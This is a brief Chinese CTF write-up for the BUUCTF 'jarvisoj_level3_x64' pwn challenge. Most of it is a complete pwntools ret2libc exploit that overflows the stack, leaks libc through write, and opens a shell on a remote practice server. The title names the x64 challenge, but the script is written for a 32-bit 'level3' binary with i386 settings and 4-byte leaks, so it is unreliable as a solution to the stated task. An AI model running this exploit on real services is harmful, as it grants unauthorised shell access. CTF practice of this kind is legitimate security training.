[BUUCTF-pwn]——jarvisoj_level3_x64

[BUUCTF-pwn]——jarvisoj_level3_x64

题目分析

简单的ret2libc
通过vuln函数，我们可以看出程序中包含write和read函数，同时存在栈溢出。通过write泄露read的got表地址。进而获得libc，重新控制代码再次进行栈溢出即可获得shell。

exploit

from pwn import *
context(os='linux',arch='i386',log_level='debug')
#p = process('./level3')
p = remote('node4.buuoj.cn',28847)
elf = ELF('./level3')
#libc = elf.libc
libc = ELF('libc-2.23.so')
write_plt = elf.plt['write']
read_got = elf.got['read']

start = 0x08048350

payload = flat('a' * (0x88+4), write_plt,start,1,read_got,4)
p.sendafter('Input:\n',payload)

read_addr = u32(p.recv(4))
log.info('read_addr is :' + hex(read_addr))

libc_base = read_addr - libc.sym['read']
sys = libc_base + libc.sym['system']
binsh = libc_base + 0x0015902b

payload1 = flat('a' * (0x88+4), sys,start,binsh)
p.sendafter('Input:\n',payload1)
p.interactive()